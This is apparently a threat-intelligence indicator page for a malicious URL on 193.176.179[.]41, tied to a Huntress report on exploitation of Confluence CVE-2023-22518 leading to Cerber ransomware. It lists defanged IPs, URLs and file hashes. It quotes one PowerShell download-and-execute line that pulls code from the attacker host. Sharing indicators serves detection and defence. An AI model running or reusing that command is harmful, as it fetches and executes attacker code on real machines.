hxxp://193.176.179[.]41/tmp.37URL

Reported by 1 independent source · first reported 7 Nov 2023 by Huntress · last reported 7 Nov 2023

Last reported 2 years ago

What the reports say

1 report, newest first · the exact sentence from each

“IEX((New-Object Net.WebClient).DownloadString("hxxp://193.176.179[.]41/tmp.37"))”

HuntressVendor7 Nov 2023
Confluence to Cerber: Exploitation of CVE-2023-22518

Indicators reported together

named in the same reports

5a2c6938554f9e54…9245303bda39in 1 report
193.176.179[.]41in 1 report
hxxp://193.176.179[.]41/tmp.37.txtin 1 report
f2e17ec85c3f8ee2…aa82a9d9707fin 1 report

Copy these 4 indicators · defanged

4 indicators, defanged, one per line

5a2c6938554f9e54d291f8fa0837d8d1e34b9b310bd02076affd9245303bda39
193.176.179[.]41
hxxp://193.176.179[.]41/tmp.37.txt
f2e17ec85c3f8ee26a3be3ce52c6e140448941d705a9bdedb7c1aa82a9d9707f

Also named with it: CVE-2023-22518

Thanks — we review every report.

Report a wrong value